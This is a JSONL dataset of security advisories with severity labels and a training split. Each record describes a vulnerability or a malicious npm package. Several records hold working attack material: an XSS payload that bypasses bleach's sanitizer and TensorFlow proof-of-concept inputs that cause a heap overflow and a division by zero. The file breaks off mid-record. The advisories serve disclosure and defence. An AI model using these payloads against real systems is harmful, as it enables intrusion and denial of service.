-{"id": "3220e49681cf75785ff0", "text": "Cross-Site Scripting in bleach\n\nAll versions of `bleach` are vulnerable to Cross-Site Scripting. It is possible to bypass the package's HTML sanitization with payloads such as `\"<<script><</script>script>alert('xss');</<script><</script>script>\"` regardless of the passed options. This may allow attackers to execute arbitrary JavaScript in the victim's browser.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Cross-Site Scripting in bleach\n\n[Severity: HIGH]\n\nAll versions of `bleach` are vulnerable to Cross-Site Scripting. It is possible to bypass the package's HTML sanitization with payloads such as `\"<<script><</script>script>alert('xss');</<script><</script>script>\"` regardless of the passed options. This may allow attackers to execute arbitrary JavaScript in the victim's browser.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "4a098bc313b536d75f27", "text": "Prototype Pollution in lutils-merge\n\nAll versions of `lutils-merge` are vulnerable to Prototype Pollution. The merge() function fails to prevent user input to alter an Object's prototype, allowing attackers to modify override properties of all objects in the application. This may lead to Denial of Service or may be chained with other vulnerabilities leading to Remote Code Execution.\n\n## Recommendation\n\nThe package is deprecated and no fixes are available. Consider using an alternative package.", "text_raw": "Prototype Pollution in lutils-merge\n\n[Severity: MEDIUM]\n\nAll versions of `lutils-merge` are vulnerable to Prototype Pollution. The merge() function fails to prevent user input to alter an Object's prototype, allowing attackers to modify override properties of all objects in the application. This may lead to Denial of Service or may be chained with other vulnerabilities leading to Remote Code Execution.\n\n\n## Recommendation\n\nThe package is deprecated and no fixes are available. Consider using an alternative package.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-13", "split": "train"}
-{"id": "0e50f379b2fbffa005f6", "text": "Hessian protocol configuration vulnerability in Apache Dubbo\n\nIn Apache Dubbo, users may choose to use the Hessian protocol. The Hessian protocol is implemented on top of HTTP and passes the body of a POST request directly to a HessianSkeleton: New HessianSkeleton are created without any configuration of the serialization factory and therefore without applying the dubbo properties for applying allowed or blocked type lists. In addition, the generic service is always exposed and therefore attackers do not need to figure out a valid service/method name pair. This is fixed in 2.7.13, 2.6.10.1", "text_raw": "Hessian protocol configuration vulnerability in Apache Dubbo\n\n[Severity: CRITICAL]\n\nIn Apache Dubbo, users may choose to use the Hessian protocol. The Hessian protocol is implemented on top of HTTP and passes the body of a POST request directly to a HessianSkeleton: New HessianSkeleton are created without any configuration of the serialization factory and therefore without applying the dubbo properties for applying allowed or blocked type lists. In addition, the generic service is always exposed and therefore attackers do not need to figure out a valid service/method name pair. This is fixed in 2.7.13, 2.6.10.1", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-08", "split": "train"}
-{"id": "895ce210589221deb2da", "text": "Heap buffer overflow in `RaggedTensorToTensor`\n\n### Impact\nAn attacker can cause a heap buffer overflow in `tf.raw_ops.RaggedTensorToTensor`:\n\n```python\nimport tensorflow as tf\n\nshape = tf.constant([10, 10], shape=[2], dtype=tf.int64)\nvalues = tf.constant(0, shape=[1], dtype=tf.int64)\ndefault_value = tf.constant(0, dtype=tf.int64)\nl = [849, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\nrow = tf.constant(l, shape=[5, 43], dtype=tf.int64)\nrows = [row]\ntypes = ['ROW_SPLITS']\n\ntf.raw_ops.RaggedTensorToTensor(\n    shape=shape, values=values, default_value=default_value,\n    row_partition_tensors=rows, row_partition_types=types) \n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/d94227d43aa125ad8b54115c03cece54f6a1977b/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L219-L222) uses the same index to access two arrays in parallel:\n\n```cc\nfor (INDEX_TYPE i = 0; i < row_split_size - 1; ++i) {\n  INDEX_TYPE row_length = row_split(i + 1) - row_split(i);\n  INDEX_TYPE real_length = std::min(output_size, row_length);\n  INDEX_TYPE parent_output_index_current = parent_output_index[i];\n  ...\n}\n```\n\nSince the user controls the shape of the input arguments, an attacker could trigger a heap OOB access when `parent_output_index` is shorter than `row_split`.\n\n### Patches\nWe have patched the issue in GitHub commit [a84358aa12f0b1518e606095ab9cfddbf597c121](https://github.com/tensorflow/tensorflow/commit/a84358aa12f0b1518e606095ab9cfddbf597c121).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Heap buffer overflow in `RaggedTensorToTensor`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can cause a heap buffer overflow in `tf.raw_ops.RaggedTensorToTensor`:\n\n```python\nimport tensorflow as tf\n\nshape = tf.constant([10, 10], shape=[2], dtype=tf.int64)\nvalues = tf.constant(0, shape=[1], dtype=tf.int64)\ndefault_value = tf.constant(0, dtype=tf.int64)\nl = [849, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\nrow = tf.constant(l, shape=[5, 43], dtype=tf.int64)\nrows = [row]\ntypes = ['ROW_SPLITS']\n\ntf.raw_ops.RaggedTensorToTensor(\n    shape=shape, values=values, default_value=default_value,\n    row_partition_tensors=rows, row_partition_types=types) \n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/d94227d43aa125ad8b54115c03cece54f6a1977b/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L219-L222) uses the same index to access two arrays in parallel:\n\n```cc\nfor (INDEX_TYPE i = 0; i < row_split_size - 1; ++i) {\n  INDEX_TYPE row_length = row_split(i + 1) - row_split(i);\n  INDEX_TYPE real_length = std::min(output_size, row_length);\n  INDEX_TYPE parent_output_index_current = parent_output_index[i];\n  ...\n}\n```\n\nSince the user controls the shape of the input arguments, an attacker could trigger a heap OOB access when `parent_output_index` is shorter than `row_split`.\n\n### Patches\nWe have patched the issue in GitHub commit [a84358aa12f0b1518e606095ab9cfddbf597c121](https://github.com/tensorflow/tensorflow/commit/a84358aa12f0b1518e606095ab9cfddbf597c121).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "e56ad174eff03cef1274", "text": "Improper Access Control in github.com/treeverse/lakefs\n\n### Impact\n\n1. [medium] A user with write permissions to a portion of a repository may use the S3 gateway to copy any object in the repository if they know its name.\n1. [medium] A user with permission to write any one of tags, branches, or commits on a repository may write all of them.\n1. [low] A user with permission to read any one of tags, branches, or commits on a repository may read all of them.\n1. [low] A user allowed to list objects in a repository _or_ read repository meta-data may retrieve graveler information about the location on underlying storage of all objects stored in any commit that they can view.  If the user additionally has the capability to read underlying storage, they will be able to retrieve metadata associated with all objects in that commit.\n\n### For more information\n\nIf you have any questions or comments about this advisory please:\n* Email us at security@treeverse.io.\n* Open an issue on https://github.com/treeverse/lakeFS/issues/new.", "text_raw": "Improper Access Control in github.com/treeverse/lakefs\n\n[Severity: MEDIUM]\n\n### Impact\n\n1. [medium] A user with write permissions to a portion of a repository may use the S3 gateway to copy any object in the repository if they know its name.\n1. [medium] A user with permission to write any one of tags, branches, or commits on a repository may write all of them.\n1. [low] A user with permission to read any one of tags, branches, or commits on a repository may read all of them.\n1. [low] A user allowed to list objects in a repository _or_ read repository meta-data may retrieve graveler information about the location on underlying storage of all objects stored in any commit that they can view.  If the user additionally has the capability to read underlying storage, they will be able to retrieve metadata associated with all objects in that commit.\n\n### For more information\n\nIf you have any questions or comments about this advisory please:\n* Email us at security@treeverse.io.\n* Open an issue on https://github.com/treeverse/lakeFS/issues/new.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-28", "split": "train"}
-{"id": "53348eb85d9fb367682b", "text": "BEWARD N100 H.264 VGA IP Camera M2.1.6 CSRF Add Admin Exploit", "text_raw": "BEWARD N100 H.264 VGA IP Camera M2.1.6 CSRF Add Admin Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-02-04", "split": "train"}
-{"id": "81a59ac5720b10692df2", "text": "Path Traversal in statics-server\n\nAll versions of `statics-server` are vulnerable to Path Traversal.  Due to insufficient input sanitization, attackers can access server files by using relative paths.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Path Traversal in statics-server\n\n[Severity: MEDIUM]\n\nAll versions of `statics-server` are vulnerable to Path Traversal.  Due to insufficient input sanitization, attackers can access server files by using relative paths. \n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-05", "split": "train"}
-{"id": "b1150a1d9ca0445ece68", "text": "Overflow in prost-types\n\nAffected versions of this crate contained a bug in which untrusted input could cause an overflow and panic when converting a Timestamp to SystemTime. It is recommended to upgrade to prost-types v0.8 and switch the usage of From<Timestamp> for SystemTime to TryFrom<Timestamp> for SystemTime.", "text_raw": "Overflow in prost-types\n\n[Severity: HIGH]\n\nAffected versions of this crate contained a bug in which untrusted input could cause an overflow and panic when converting a Timestamp to SystemTime. It is recommended to upgrade to prost-types v0.8 and switch the usage of From<Timestamp> for SystemTime to TryFrom<Timestamp> for SystemTime.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "53ff3eace56deb40b314", "text": "Free of uninitialized memory in adtensor\n\nAn issue was discovered in the adtensor crate through 0.0.3 for Rust. There is a drop of uninitialized memory via the FromIterator implementation for Vector and Matrix.", "text_raw": "Free of uninitialized memory in adtensor\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the adtensor crate through 0.0.3 for Rust. There is a drop of uninitialized memory via the FromIterator implementation for Vector and Matrix.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "59ceb04394baed53217b", "text": "Unsafe Deserialization in jackson-databind\n\nFasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to `org.apache.tomcat.dbcp.dbcp2.datasources.SharedPoolDataSource`.", "text_raw": "Unsafe Deserialization in jackson-databind\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to `org.apache.tomcat.dbcp.dbcp2.datasources.SharedPoolDataSource`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "ac124d042c3f24d83b2c", "text": "nodesqlite is malware\n\nThe `nodesqlite` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "nodesqlite is malware\n\n[Severity: HIGH]\n\nThe `nodesqlite` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "b0b72540ba6e532653ad", "text": "A Denial of Service vulnerability was found in Apache Qpid Broker-J 7.0.0 in functionality for authentication of connections for AMQP protocols 0-8, 0-9, 0-91 and 0-10 when PLAIN or XOAUTH2 SASL mechanism is used. The vulnerability allows unauthenticated attacker to crash the broker instance. AMQP 1.0 and HTTP connections are not affected. An authentication of incoming AMQP connections in Apache Qpid Broker-J is performed by special entities called \"Authentication Providers\". Each Authentication Provider can support several SASL mechanisms which are offered to the connecting clients as part of SASL negotiation process. The client chooses the most appropriate SASL mechanism for authentication. Authentication Providers of following types supports PLAIN SASL mechanism: Plain, PlainPasswordFile, SimpleLDAP, Base64MD5PasswordFile, MD5, SCRAM-SHA-256, SCRAM-SHA-1. XOAUTH2 SASL mechanism is supported by Authentication Providers of type OAuth2. If an AMQP port is configured with any of these Authentication Providers, the Broker may be vulnerable.", "text_raw": "Moderate severity vulnerability that affects org.apache.qpid:apache-qpid-broker-j\n\n[Severity: MEDIUM]\n\nA Denial of Service vulnerability was found in Apache Qpid Broker-J 7.0.0 in functionality for authentication of connections for AMQP protocols 0-8, 0-9, 0-91 and 0-10 when PLAIN or XOAUTH2 SASL mechanism is used. The vulnerability allows unauthenticated attacker to crash the broker instance. AMQP 1.0 and HTTP connections are not affected. An authentication of incoming AMQP connections in Apache Qpid Broker-J is performed by special entities called \"Authentication Providers\". Each Authentication Provider can support several SASL mechanisms which are offered to the connecting clients as part of SASL negotiation process. The client chooses the most appropriate SASL mechanism for authentication. Authentication Providers of following types supports PLAIN SASL mechanism: Plain, PlainPasswordFile, SimpleLDAP, Base64MD5PasswordFile, MD5, SCRAM-SHA-256, SCRAM-SHA-1. XOAUTH2 SASL mechanism is supported by Authentication Providers of type OAuth2. If an AMQP port is configured with any of these Authentication Providers, the Broker may be vulnerable.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "eb472dd155af6ce62ad5", "text": "A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0609, CVE-2019-0639, CVE-2019-0680, CVE-2019-0769, CVE-2019-0770, CVE-2019-0773, CVE-2019-0783.", "text_raw": "High severity vulnerability that affects Microsoft.ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0609, CVE-2019-0639, CVE-2019-0680, CVE-2019-0769, CVE-2019-0770, CVE-2019-0773, CVE-2019-0783.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-09", "split": "train"}
-{"id": "e037b53350c56d1cd96a", "text": "Incomplete validation in boosted trees code\n\n### Impact\nThe [code for boosted trees in TensorFlow](https://github.com/tensorflow/tensorflow/blob/e0b6e58c328059829c3eb968136f17aa72b6c876/tensorflow/core/kernels/boosted_trees/stats_ops.cc) is still missing validation. As a result, attackers can trigger denial of service (via dereferencing `nullptr`s or via `CHECK`-failures) as well as abuse undefined behavior (binding references to `nullptr`s). An attacker can also read and write from heap buffers, depending on the API that gets used and the arguments that are passed to the call.\n\n**Note**: Given that the boosted trees implementation in TensorFlow is unmaintained, it is recommend to no longer use these APIs.  Instead, please use the downstream [TensorFlow Decision Forests](https://github.com/tensorflow/decision-forests) project which is newer and supports more features. We will deprecate TensorFlow's boosted trees APIs in subsequent releases.\n\n### Patches\nWe have patched the issue in GitHub commit [5c8c9a8bfe750f9743d0c859bae112060b216f5c](https://github.com/tensorflow/tensorflow/commit/5c8c9a8bfe750f9743d0c859bae112060b216f5c).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Incomplete validation in boosted trees code\n\n[Severity: CRITICAL]\n\n### Impact\nThe [code for boosted trees in TensorFlow](https://github.com/tensorflow/tensorflow/blob/e0b6e58c328059829c3eb968136f17aa72b6c876/tensorflow/core/kernels/boosted_trees/stats_ops.cc) is still missing validation. As a result, attackers can trigger denial of service (via dereferencing `nullptr`s or via `CHECK`-failures) as well as abuse undefined behavior (binding references to `nullptr`s). An attacker can also read and write from heap buffers, depending on the API that gets used and the arguments that are passed to the call.\n\n**Note**: Given that the boosted trees implementation in TensorFlow is unmaintained, it is recommend to no longer use these APIs.  Instead, please use the downstream [TensorFlow Decision Forests](https://github.com/tensorflow/decision-forests) project which is newer and supports more features. We will deprecate TensorFlow's boosted trees APIs in subsequent releases.\n\n### Patches\nWe have patched the issue in GitHub commit [5c8c9a8bfe750f9743d0c859bae112060b216f5c](https://github.com/tensorflow/tensorflow/commit/5c8c9a8bfe750f9743d0c859bae112060b216f5c).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "e475f7c636214ffdcedc", "text": "Polymorphic deserialization of malicious object in jackson-databind\n\nA flaw was discovered in FasterXML jackson-databind in all versions before 2.9.10 and 2.10.0, where it would permit polymorphic deserialization of malicious objects using the xalan JNDI gadget when used in conjunction with polymorphic type handling methods such as `enableDefaultTyping()` or when @JsonTypeInfo is using `Id.CLASS` or `Id.MINIMAL_CLASS` or in any other way which ObjectMapper.readValue might instantiate objects from unsafe sources. An attacker could use this flaw to execute arbitrary code.", "text_raw": "Polymorphic deserialization of malicious object in jackson-databind\n\n[Severity: HIGH]\n\nA flaw was discovered in FasterXML jackson-databind in all versions before 2.9.10 and 2.10.0, where it would permit polymorphic deserialization of malicious objects using the xalan JNDI gadget when used in conjunction with polymorphic type handling methods such as `enableDefaultTyping()` or when @JsonTypeInfo is using `Id.CLASS` or `Id.MINIMAL_CLASS` or in any other way which ObjectMapper.readValue might instantiate objects from unsafe sources. An attacker could use this flaw to execute arbitrary code.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-15", "split": "train"}
-{"id": "9e722b1f992524041412", "text": "Malicious Package in yeoman-genrator\n\nVersion 2.0.2 of `yoeman-generator` contains malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opens a backdoor.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in yeoman-genrator\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 of `yoeman-generator` contains malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opens a backdoor.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "ff39f7777cdb28adcc85", "text": "Cross-site Scripting in kimai2\n\nCSRF related to duplicate action. (the duplication occurs first before redirecting to edit form). This vulnerability is capable of tricking admin users to duplicate teams.", "text_raw": "Cross-site Scripting in kimai2\n\n[Severity: MEDIUM]\n\nCSRF related to duplicate action. (the duplication occurs first before redirecting to edit form). This vulnerability is capable of tricking admin users to duplicate teams.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "de03b1162ecfc73b0805", "text": "Lacking Protection against HTTP Request Smuggling in mitmproxy\n\n### Impact\n\nIn mitmproxy 7.0.2 and below, a malicious client or server is able to perform [HTTP request smuggling](https://en.wikipedia.org/wiki/HTTP_request_smuggling) attacks through mitmproxy. This means that a malicious client/server could smuggle a request/response through mitmproxy as part of another request/response's HTTP message body. While mitmproxy would only see one request, the target server would see multiple requests. A smuggled request is still captured as part of another request's body, but it does not appear in the request list and does not go through the usual mitmproxy event hooks, where users may have implemented custom access control checks or input sanitization.\n\nUnless you use mitmproxy to protect an HTTP/1 service, no action is required.\n\n### Patches\n\nThe vulnerability has been fixed in mitmproxy 7.0.3 and above.\n\n### Acknowledgements\n\nWe thank João Sobral (@chinchila) for responsibly disclosing this vulnerability to the mitmproxy team.\n\n### Timeline\n\n- **2021-09-08**: Received initial report for mitmproxy <= 6.0.2.\n- **2021-09-08**: Requested clarification if 7.x is affected.\n- **2021-09-10**: Received additional details, 7.x situation still unclear.\n- **2021-09-13**: Internally determined that 7.x is also affected.\n- **2021-09-13**: Shared initial fix with researcher.\n- **2021-09-14**: Received confirmation that fix is working, but H2.TE/H2.CL should also be looked at.\n- **2021-09-14**: Shared revised fix that includes additional H2.TE mitigations.\n- **2021-09-14**: Received confirmation that revised fix is working.\n- **2021-09-16**: Completed internal patch review.\n- **2021-09-16**: Published patch release and advisory.", "text_raw": "Lacking Protection against HTTP Request Smuggling in mitmproxy\n\n[Severity: CRITICAL]\n\n### Impact\n\nIn mitmproxy 7.0.2 and below, a malicious client or server is able to perform [HTTP request smuggling](https://en.wikipedia.org/wiki/HTTP_request_smuggling) attacks through mitmproxy. This means that a malicious client/server could smuggle a request/response through mitmproxy as part of another request/response's HTTP message body. While mitmproxy would only see one request, the target server would see multiple requests. A smuggled request is still captured as part of another request's body, but it does not appear in the request list and does not go through the usual mitmproxy event hooks, where users may have implemented custom access control checks or input sanitization.\n\nUnless you use mitmproxy to protect an HTTP/1 service, no action is required.\n\n\n### Patches\n\nThe vulnerability has been fixed in mitmproxy 7.0.3 and above.\n\n\n### Acknowledgements\n\nWe thank João Sobral (@chinchila) for responsibly disclosing this vulnerability to the mitmproxy team.\n\n\n### Timeline\n\n- **2021-09-08**: Received initial report for mitmproxy <= 6.0.2.\n- **2021-09-08**: Requested clarification if 7.x is affected.\n- **2021-09-10**: Received additional details, 7.x situation still unclear.\n- **2021-09-13**: Internally determined that 7.x is also affected.\n- **2021-09-13**: Shared initial fix with researcher.\n- **2021-09-14**: Received confirmation that fix is working, but H2.TE/H2.CL should also be looked at.\n- **2021-09-14**: Shared revised fix that includes additional H2.TE mitigations.\n- **2021-09-14**: Received confirmation that revised fix is working.\n- **2021-09-16**: Completed internal patch review.\n- **2021-09-16**: Published patch release and advisory.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "5cfd0fcdbbe191aedcb5", "text": "Context isolation bypass via leaked cross-context objects in Electron\n\n### Impact\nApps using `contextIsolation` are affected.\n\nThis is a context isolation bypass, meaning that code running in the main world context in the renderer can reach into the isolated Electron context and perform privileged actions.\n\n### Workarounds\nThere are no app-side workarounds, you must update your Electron version to be protected.\n\n### Fixed Versions\n* `9.0.0-beta.21`\n* `8.2.4`\n* `7.2.4`\n\n### Non-Impacted Versions\n* `9.0.0-beta.*`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@electronjs.org](mailto:security@electronjs.org)", "text_raw": "Context isolation bypass via leaked cross-context objects in Electron\n\n[Severity: HIGH]\n\n### Impact\nApps using `contextIsolation` are affected.\n\nThis is a context isolation bypass, meaning that code running in the main world context in the renderer can reach into the isolated Electron context and perform privileged actions.\n\n### Workarounds\nThere are no app-side workarounds, you must update your Electron version to be protected.\n\n### Fixed Versions\n* `9.0.0-beta.21`\n* `8.2.4`\n* `7.2.4`\n\n### Non-Impacted Versions\n* `9.0.0-beta.*`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@electronjs.org](mailto:security@electronjs.org)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-07", "split": "train"}
-{"id": "30e05b4f8a659fe3391a", "text": "Division by 0 in `Conv2DBackpropInput`\n\n### Impact\nAn attacker can trigger a division by 0 in `tf.raw_ops.Conv2DBackpropInput`:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([52, 1, 1, 5], shape=[4], dtype=tf.int32)\nfilter_tensor = tf.constant([], shape=[0, 1, 5, 0], dtype=tf.float32)\nout_backprop = tf.constant([], shape=[52, 1, 1, 0], dtype=tf.float32)\n\ntf.raw_ops.Conv2DBackpropInput(input_sizes=input_tensor, filter=filter_tensor,\n                               out_backprop=out_backprop, strides=[1, 1, 1, 1],\n                               use_cudnn_on_gpu=True, padding='SAME',\n                               explicit_paddings=[], data_format='NHWC',\n                               dilations=[1, 1, 1, 1])\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/b40060c9f697b044e3107917c797ba052f4506ab/tensorflow/core/kernels/conv_grad_input_ops.h#L625-L655) does a division by a quantity that is controlled by the caller:\n\n```cc \n  const size_t size_A = output_image_size * dims.out_depth; \n  const size_t size_B = filter_total_size * dims.out_depth;\n  const size_t size_C = output_image_size * filter_total_size;\n  const size_t work_unit_size = size_A + size_B + size_C;\n  ...\n  const size_t shard_size =\n      use_parallel_contraction ? 1 :\n      (target_working_set_size + work_unit_size - 1) / work_unit_size;\n```\n\n### Patches\nWe have patched the issue in GitHub commit [2be2cdf3a123e231b16f766aa0e27d56b4606535](https://github.com/tensorflow/tensorflow/commit/2be2cdf3a123e231b16f766aa0e27d56b4606535).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Division by 0 in `Conv2DBackpropInput`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can trigger a division by 0 in `tf.raw_ops.Conv2DBackpropInput`:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([52, 1, 1, 5], shape=[4], dtype=tf.int32)\nfilter_tensor = tf.constant([], shape=[0, 1, 5, 0], dtype=tf.float32)\nout_backprop = tf.constant([], 